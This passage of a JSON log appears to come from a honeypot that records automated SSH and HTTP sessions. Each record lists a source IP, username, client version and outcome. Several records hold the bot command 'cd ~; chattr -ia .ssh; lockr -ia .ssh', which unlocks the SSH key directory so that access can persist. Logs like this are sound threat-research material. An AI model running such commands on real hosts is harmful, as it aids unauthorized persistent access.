  "started_at": "2026-08-26T11:35:54.052910+00:00",
  "ended_at": "2026-08-26T11:35:54.491103+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea3cf1e8-49bb-47b6-9a86-22b48b7b6619",
  "name": "opal-primal-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42904,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 870,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:34:56.688747+00:00",
  "ended_at": "2026-08-26T11:34:58.126427+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "9ae98c96-1d5a-4ff4-8301-5d9669b3949c",
  "name": "proud-lanky-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:34:36.988514+00:00",
  "ended_at": "2026-08-26T11:34:37.985590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2a2f910-174c-4140-972d-45a07eaba150",
  "name": "prickly-early-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:34:33.888614+00:00",
  "ended_at": "2026-08-26T11:34:35.284493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e564f4be-5bda-4d09-9f17-48c5b2692673",
  "name": "sincere-snowy-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "64.227.168.220",
  "src_port": 50962,
  "username": "ftp",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 574,
  "probe_flagged": 0,
  "exec_command": "nproc",
  "started_at": "2026-08-26T11:32:59.420354+00:00",
  "ended_at": "2026-08-26T11:32:59.985009+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 369
 },
 {
  "id": "34f80c5d-ecc3-4c4c-8732-2facfc5f8ece",
  "name": "gnarled-airy-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42708,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:32:10.883641+00:00",
  "ended_at": "2026-08-26T11:32:11.680381+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "39c0afe1-d29d-434d-ba17-454f591cae22",
  "name": "plucky-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:31:54.591185+00:00",
  "ended_at": "2026-08-26T11:31:55.795587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17697e57-e39f-4168-b1c1-7da6a3d584ec",
  "name": "lawful-prickly-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42716,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:31:50.889486+00:00",
  "ended_at": "2026-08-26T11:31:52.856270+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd738abe-884b-443c-bfd1-c3ea9b6fe0bf",
  "name": "snowy-forlorn-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41352,
  "username": "sgp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 612,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:29:09.002582+00:00",
  "ended_at": "2026-08-26T11:29:10.410808+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "4826b3f0-eb6f-4897-9b68-e917eff69c76",
  "name": "languid-wooded-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:29:06.085419+00:00",
  "ended_at": "2026-08-26T11:29:08.184541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75c306de-b1b3-4c03-913e-427944fb5ba8",
  "name": "obsidian-burly-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:29:02.352659+00:00",
  "ended_at": "2026-08-26T11:29:04.382514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14b6ca15-6a85-43d0-9891-33c5dbff9927",
  "name": "quartz-ancient-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:28:59.486436+00:00",
  "ended_at": "2026-08-26T11:29:00.381497+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "f37c64f0-98e3-4a1d-938a-e9d3aa3647a9",
  "name": "thorny-woven-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52471,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:27:11.237272+00:00",
  "ended_at": "2026-08-26T11:27:47.558210+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78c1fc94-4032-40a7-87bb-16f55d6b3ee5",
  "name": "jovial-earnest-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42302,
  "username": "cgonzalez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 871,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:26:37.896770+00:00",
  "ended_at": "2026-08-26T11:26:38.924393+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2051
 },
 {
  "id": "f9095080-7f0c-4a10-9f0d-1f1b9ac1d6c8",
  "name": "obsidian-craggy-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42318,
  "username": "cgonzalez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:26:21.284500+00:00",
  "ended_at": "2026-08-26T11:26:22.450575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca600ff8-b4b2-44d9-b9a0-fcf982ba2d91",
  "name": "quiet-whispering-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42310,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:26:17.643011+00:00",
  "ended_at": "2026-08-26T11:26:19.513590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b52afbb-7cdd-463d-81b8-1b67c73bf296",
  "name": "whispering-western-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 56504,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:25:15.432174+00:00",
  "ended_at": "2026-08-26T11:25:17.563407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47e676c9-8c0b-4487-bd16-3ab9269f7300",
  "name": "mossy-burly-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:21:39.297562+00:00",
  "ended_at": "2026-08-26T11:21:40.482281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "382b8a48-bf79-4a7b-9776-de30d42d591e",
  "name": "shifting-creaky-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56551,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:18:53.234763+00:00",
  "ended_at": "2026-08-26T11:19:17.512209+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16e81558-0c7b-42fe-9bbf-36b69fa76037",
  "name": "grassy-coral-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.23.3.146",
  "src_port": 59278,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:11:56.643569+00:00",
  "ended_at": "2026-08-26T11:11:58.208208+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "759c44d5-79aa-42ea-8cc4-e88cff721379",
  "name": "blithe-merry-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 48552,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:11:56.398052+00:00",
  "ended_at": "2026-08-26T11:11:57.985697+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "5271ac0a-861e-41db-a440-9ba11912eb9c",
  "name": "ashen-foggy-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.178.185.141",
  "src_port": 41716,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:08:16.822525+00:00",
  "ended_at": "2026-08-26T11:08:19.061594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015fe738-86d0-4600-8fc1-ce1862f46dff",
  "name": "sullen-rugged-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 46886,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:07:25.095860+00:00",
  "ended_at": "2026-08-26T11:07:25.894192+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "428f5f89-0c64-49a8-8d5f-a21bba27fb95",
  "name": "courtly-sandy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 58906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:07:11.242724+00:00",
  "ended_at": "2026-08-26T11:07:13.134588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "484b532a-8502-4f1b-b64f-1a1f6bcca642",
  "name": "bold-primal-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 57286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:05:59.572219+00:00",
  "ended_at": "2026-08-26T11:06:00.017027+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fcc2f9eb-16b8-4c0d-928c-7304d995bb1d",
  "name": "arctic-gallant-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58804,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:05:50.208126+00:00",
  "ended_at": "2026-08-26T11:05:51.081394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79db8206-616c-4adf-b4c2-57332374ccf1",
  "name": "pristine-freckled-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 33232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 604,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:02:52.624467+00:00",
  "ended_at": "2026-08-26T11:02:53.299019+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "3e11718a-4da8-4977-80fe-20d992f7ed63",
  "name": "icy-upland-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60224,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:02:39.676937+00:00",
  "ended_at": "2026-08-26T11:02:41.218700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a751598-f314-48a6-b8a2-3a87f0ef7bed",
  "name": "blunt-hearty-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 33236,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:02:36.667302+00:00",
  "ended_at": "2026-08-26T11:02:37.951847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7480d039-3bc2-4b04-bcfe-6e6c93ca63e6",
  "name": "cosmic-lawful-grebe",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "49.51.132.100",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:01:47.819737+00:00",
  "ended_at": "2026-08-26T11:16:55.723766+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bb2e9e0-8de0-4f9d-96b7-22857ca6cc81",
  "name": "jagged-fierce-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.172",
  "src_port": 28370,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:01:03.808894+00:00",
  "ended_at": "2026-08-26T11:01:04.302754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55c1c222-773e-4c16-919c-4ae8e838df53",
  "name": "spirited-courtly-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51950,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:00:25.514089+00:00",
  "ended_at": "2026-08-26T11:00:26.383003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b43a6bcc-224f-4691-ab75-d7338c06f05f",
  "name": "sandy-solar-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 51769,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:57:27.794639+00:00",
  "ended_at": "2026-08-26T10:57:33.325749+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0582e41e-a6e7-44ff-a77a-c270af0429d1",
  "name": "diligent-bold-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 40602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:54:26.556075+00:00",
  "ended_at": "2026-08-26T10:54:27.999283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "764e00f0-7064-4ad3-810f-1e52227f0044",
  "name": "gnarled-twilight-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 40618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:53:56.214666+00:00",
  "ended_at": "2026-08-26T10:53:57.409437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "503d57a2-2cf0-46cc-92ef-eb5b41a61150",
  "name": "forlorn-vaulted-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 48728,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:53:33.419633+00:00",
  "ended_at": "2026-08-26T10:53:35.600631+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "783d3a79-4d6f-44c1-b118-f290afbcc1e1",
  "name": "gallant-dusky-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.46.58.104",
  "src_port": 33506,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:52:00.635711+00:00",
  "ended_at": "2026-08-26T10:52:02.861195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01c754e0-3b90-438c-bada-aba809ae3f87",
  "name": "flinty-alpine-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41778,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:50:02.070375+00:00",
  "ended_at": "2026-08-26T10:50:02.781088+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "6ec8071f-f1d2-4a81-9144-ed584c6282fb",
  "name": "diligent-hazel-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 54477,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:48:58.917760+00:00",
  "ended_at": "2026-08-26T10:49:01.905407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1c19043-af9d-421d-a8d6-a7ca1e53032b",
  "name": "tangled-hushed-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 44172,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:48:04.100258+00:00",
  "ended_at": "2026-08-26T10:48:06.085040+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be340f5a-e936-4685-a83a-b2a3bdd9f729",
  "name": "muted-leafy-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 44114,
  "username": "postmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 606,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:45:29.561927+00:00",
  "ended_at": "2026-08-26T10:45:30.274291+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2196
 },
 {
  "id": "74d67c22-45c9-43c4-aef8-026c20ac6f8a",
  "name": "slender-calm-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44124,
  "username": "postmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:45:16.225441+00:00",
  "ended_at": "2026-08-26T10:45:17.459050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "616c17dd-6b60-495a-967f-521fcaaf2e25",
  "name": "mossy-glacial-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44118,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:45:12.989148+00:00",
  "ended_at": "2026-08-26T10:45:15.052482+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c421ba73-a3ab-4d94-b95f-0a0123658df4",
  "name": "pleasant-fringed-hummingbird",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "82.22.85.36",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:39:56.656065+00:00",
  "ended_at": "2026-08-26T10:55:55.577892+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aea31477-10ea-410a-9889-4426c813e457",
  "name": "lonesome-burly-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 38992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:38:48.405714+00:00",
  "ended_at": "2026-08-26T10:38:48.930930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f74e6eaa-b693-4477-9caa-6dfbce636619",
  "name": "honest-hidden-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57701,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:37:58.360628+00:00",
  "ended_at": "2026-08-26T10:37:59.412988+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88ebcfc1-e65a-4f9a-86dd-5aa46391e4f8",
  "name": "murky-daring-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 52150,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:37:55.341799+00:00",
  "ended_at": "2026-08-26T10:37:59.373395+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92948be4-4e07-4bab-bd31-e068e7babf54",
  "name": "indigo-dutiful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33988,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:37:38.366311+00:00",
  "ended_at": "2026-08-26T10:37:38.833892+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1dd6113f-076a-4ab2-ada1-a5ea698ab339",
  "name": "ginger-lucid-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 38334,
  "username": "tester1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:36:59.922949+00:00",
  "ended_at": "2026-08-26T10:37:01.241820+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2188
 },
 {
  "id": "27608b3b-c908-4549-bbd6-715adc5603eb",
  "name": "kindly-orderly-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 46212,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:56.185954+00:00",
  "ended_at": "2026-08-26T10:36:56.543304+00:00",
